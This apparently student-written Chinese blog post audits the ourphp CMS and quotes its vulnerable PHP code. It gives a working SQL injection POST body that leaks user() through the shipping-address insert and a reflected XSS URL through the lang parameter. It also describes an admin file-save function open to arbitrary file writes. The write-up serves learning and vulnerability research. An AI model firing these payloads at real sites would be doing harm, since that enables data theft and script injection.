文章目录
  1. 审计之初
  2. SQL注入
  3. 反射型XSS
  4. 其他
  5. 结束

审计入门之路(二):ourphp

审计之初

清明连着个周三,没什么课,继续下一个CMS了,这次是ourphp。他用的smarty模板引擎,之前没有接触过,所以简单学了下模板引擎。从index开始审了一天,发现了一些东西。

1.jpg

从用户模块的index开始,包含了版本信息,配置信息,语言,公共函数和模板引擎。

1
2
3
4
5
6
include '../../config/ourphp_code.php';
include '../../config/ourphp_config.php';
include '../../config/ourphp_version.php';
include '../../config/ourphp_Language.php';
include '../../function/ourphp_function.class.php';
include '../../function/ourphp/Smarty.class.php';

index结束时包含了用户控制,页面控制和模板加载。

1
2
3
include 'ourphp_user.class.php';//用户控制和用户提问
include 'ourphp_page.class.php';
include 'ourphp_template.class.php';

跟进ourphp_template.class.php,一个函数判断了URL中使用的模板,include对应的php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
switch($temptypetoo){
case "cn":
include './ourphp_userview.class.php';
if($smarty->templateExists($ourphp_templates."/".$ourphp_Language."_index.html")){//templates/default/cn_index.html
$smarty->display($ourphp_Language.'_index.html');
}else{
echo $ourphp_tempno;
}
break;
case "reg.html":
include './ourphp_userreg.class.php';
if($smarty->templateExists($ourphp_templates."/".$ourphp_Language."_reg.html")){
$smarty->display($ourphp_Language.'_reg.html');
}else{
echo $ourphp_tempno;
}
break;

跟进注册相关的php,ourphp_userreg.class.php 却居然几乎没看到交互的函数。后来本地注册抓包,才知道交互的数据进入ourplay_play.class.php

SQL注入

没有用全局过滤,他防止注入的方式是在输入的参数后加过滤函数dowith_sql,追进函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function dowith_sql($ourphpstr){
$ourphpstr = addslashes($ourphpstr);
$ourphpstr = str_ireplace(" and ","",$ourphpstr);
$ourphpstr = str_ireplace(" or ","",$ourphpstr);
$ourphpstr = str_ireplace("execute","",$ourphpstr);
$ourphpstr = str_ireplace("update","",$ourphpstr);
$ourphpstr = str_ireplace("count","",$ourphpstr);
$ourphpstr = str_ireplace("chr","",$ourphpstr);
$ourphpstr = str_ireplace("truncate","",$ourphpstr);
$ourphpstr = str_ireplace("char","",$ourphpstr);
$ourphpstr = str_ireplace("declare","",$ourphpstr);
$ourphpstr = str_ireplace("select","",$ourphpstr);
$ourphpstr = str_ireplace("create","",$ourphpstr);
$ourphpstr = str_ireplace("delete","",$ourphpstr);
$ourphpstr = str_ireplace("insert","",$ourphpstr);
$ourphpstr = str_ireplace("limit","",$ourphpstr);
$ourphpstr = str_ireplace("extractvalue","",$ourphpstr);
$ourphpstr = str_ireplace("concat","",$ourphpstr);
$ourphpstr = str_ireplace("&&","",$ourphpstr);
$ourphpstr = str_ireplace("||","",$ourphpstr);
$ourphpstr = str_ireplace("alert","",$ourphpstr);
$ourphpstr = str_ireplace("script","",$ourphpstr);
$ourphpstr = str_ireplace("iframe","",$ourphpstr);
$ourphpstr = str_ireplace("embed","",$ourphpstr);
$ourphpstr = str_ireplace("*","",$ourphpstr);
$ourphpstr = str_ireplace("#","",$ourphpstr);
$ourphpstr = str_ireplace("'","\\'",$ourphpstr);
return $ourphpstr;
}

本来是没看出问题的,后来看了乐清小俊杰师傅的文章,才意识到sele||ct会被还原成select的。不过过滤了单引号,包裹在单引号里的逃逸不出来也没办法。看了一圈没找到没有被单引号包围的,遂放弃。

不过有的输入没有进入过滤函数就写进了数据库:316行

1
2
3
4
5
6
7
}elseif($_GET["ourphp_cms"] == 'shopadd'){
if ($_POST["OP_Addname"] == '' || $_POST["OP_Addtel"] == ''){
exit("<script language=javascript> alert('".$inputno."');history.go(-1);</script>");
}
$add = implode('|',$_POST['OP_Add']);
$query = $db -> insert("`ourphp_usershopadd`","`OP_Addname` = '".$_POST["OP_Addname"]."',`OP_Addtel` = '".$_POST["OP_Addtel"]."',`OP_Add` = '".$add."',`OP_Addindex` = 0,`OP_Adduser` = '".$_SESSION['username']."',`time` = '".date("Y-m-d H:i:s")."'","");

$_POST['OP_Add']经过implode处理进入$add,被拼接进SQL语句。

url:ourphp/client/user/ourphp_play.class.php?ourphp_cms=integral&ourphp_cms=shopadd
post:

1
OP_Addname=a&OP_Addtel=a&OP_Addname=aaaaaa',`OP_Addtel` = user(),`OP_Add` = 'bbbbbbbb',`OP_Addindex` = 0,`OP_Adduser` = 'test1@test.com',`time` = '2017-04-05 19:22:59'#

2.jpg

在收货人信息处拿到数据。

3.jpg

反射型XSS

224行

1
2
3
4
5
6
7
8
9
10
11
12
13
//退出
}elseif($_GET["ourphp_cms"] == 'out'){
unset($_SESSION['username']);
//处理Ucenter
if($ourphp_usercontrol['ucenter'] == 1){
include_once '../../config.inc.php';
include_once '../../uc_client/client.php';
echo uc_user_synlogout();
}
echo @ourphp_pcwapurl($_GET['type'],'?'.$_GET["lang"].'-login.html','?'.$_GET["lang"].'-userlogin.html',0,'');
exit;

$_GET[‘type’]和$_GET[“lang”]进入ourphp_pcwapurl函数。

/function/ourphp_function.class.php 219行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function ourphp_pcwapurl($type = '',$pcurl = '',$wapurl = '',$goback = 0,$font = ''){
global $ourphp;
if($goback == 0){
if($type == '' || $type == 'pc'){
$url = $ourphp['webpath'].'client/user/'.$pcurl;
}elseif($type == 'wap'){
$url = $ourphp['webpath'].'client/wap/'.$wapurl;
}
if($font != ''){
$alert = 'alert(\\''.$font.'\\');';
}
echo "<script language=javascript>".$alert."location.replace('".$url."');</script>";
return "<script language=javascript>".$alert."location.replace('".$url."');</script>";
}else{
return "<script language=javascript>alert('".$font."');history.go(-1);</script>";
}
}

第二个get参数被return,然后echo输出出来。

ourphp/client/user/ourphp_play.class.php?ourphp_cms=out&type=&lang=a');alert('xss');</script>//

4.jpg

在这个文件中找ourphp_pcwapurl函数,发现:
168行echo @ourphp_pcwapurl($_GET['type'],'?cn-login.html','?'.$_GET["lang"].'-userlogin.html',0,'');
218行echo @ourphp_pcwapurl($_GET['type'],'?cn-index.html','?'.$_GET["lang"].'-usercenter.html',0,'');
234行echo @ourphp_pcwapurl($_GET['type'],'?'.$_GET["lang"].'-login.html','?'.$_GET["lang"].'-userlogin.html',0,'');
311行echo @ourphp_pcwapurl($_GET['type'],'?'.$_GET["lang"].'-userintegral-op.html','?'.$_GET["lang"].'-userintegral-op.html',0,'');
323行echo @ourphp_pcwapurl($_GET['type'],'?'.$_GET["lang"].'-usershopadd.html','?'.$_GET["lang"].'-usershopadd.html',0,'');
330行和336行。都是一样的XSS。

其他

在管理员后台发现一处写入文件ourphp_filebox.php 1426行

1
2
3
case "save":
save($_REQUEST['ncontent'], $_REQUEST['fename'], $_REQUEST['encode']);
break;

save函数在691行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function save($ncontent, $fename, $encode) {
global $meurl,$folder;
echo $folder;
if (!$fename == "") {
maintop("编辑");
$file = iconv("UTF-8", "GBK", $folder.$fename);
$ydata = stripslashes($ncontent);
if($encode!=="UTF-8" && $encode!=="ASCII"){
$ydata = iconv($encode, "UTF-8", $ydata);
}
if(file_put_contents($file, $ydata)) {
echo "<div class='box'>文件 <a href=\\"".$folder.$fename."\\" target=\\"_blank\\">".$folder.$fename."</a> 保存成功!\\n"
."请选择 <a href=\\"".$meurl."?op=home&folder=".$_SESSION['folder']."\\">返回文件管理</a> 或者 <a href=\\"".$meurl."?op=edit&fename=".$fename."&folder=".$folder."\\">继续编辑</a></div>\\n";
$fp = null;
}else{
echo "<span class='error'>文件保存出错!</span>\\n"
." <a href=\\"".$meurl."?op=home&folder=".$_SESSION['folder']."\\">返回文件管理</a>\\n";
}
}else{
home();
}
}

尝试了多次都保存失败,后来发现$ydata拼接了$folder和$fename,$folder在58行有一处赋值$folder = $filefolder;
在14行对$filefolder的定义$filefolder = str_replace('\\\\','/',WEB_ROOT.$ourphp['webpath']."templates/");。WEB_ROOT和$ourphp[‘webpath’]都在配置文件ourphp_config.php中定义

1
2
3
4
5
6
define('WEB_ROOT',substr(dirname(__FILE__), 0, -7));
include 'ourphp_mysql.php';
$ourphp = array(
'webpath' => '/code/ourphp/', // 网站路径

因此$filefolder就是C:/phpStudy/WWW/code/ourphp/code/ourphp/templates/code/ourphp/重复了两次,所以找不到文件夹。对一个不存在的文件夹返回上一级是不成功的,所以本地复现失败了。如果CMS装在网站根目录,webpath就是'/',就可以正常指向。任意写入文件就没有问题了。

结束

用户和管理员的交互PHP写的比较乱,没有全局过滤,代码读着费劲,后期维护也费劲。不同功能的函数分散在各个文件中,还有很多函数都没读,看着太乱了,换下一个CMS

乌云的师傅们都会去审某些cms也有可能那些cms读起来不费劲,找漏洞有成就感。

支持一下
扫一扫,支持forsigner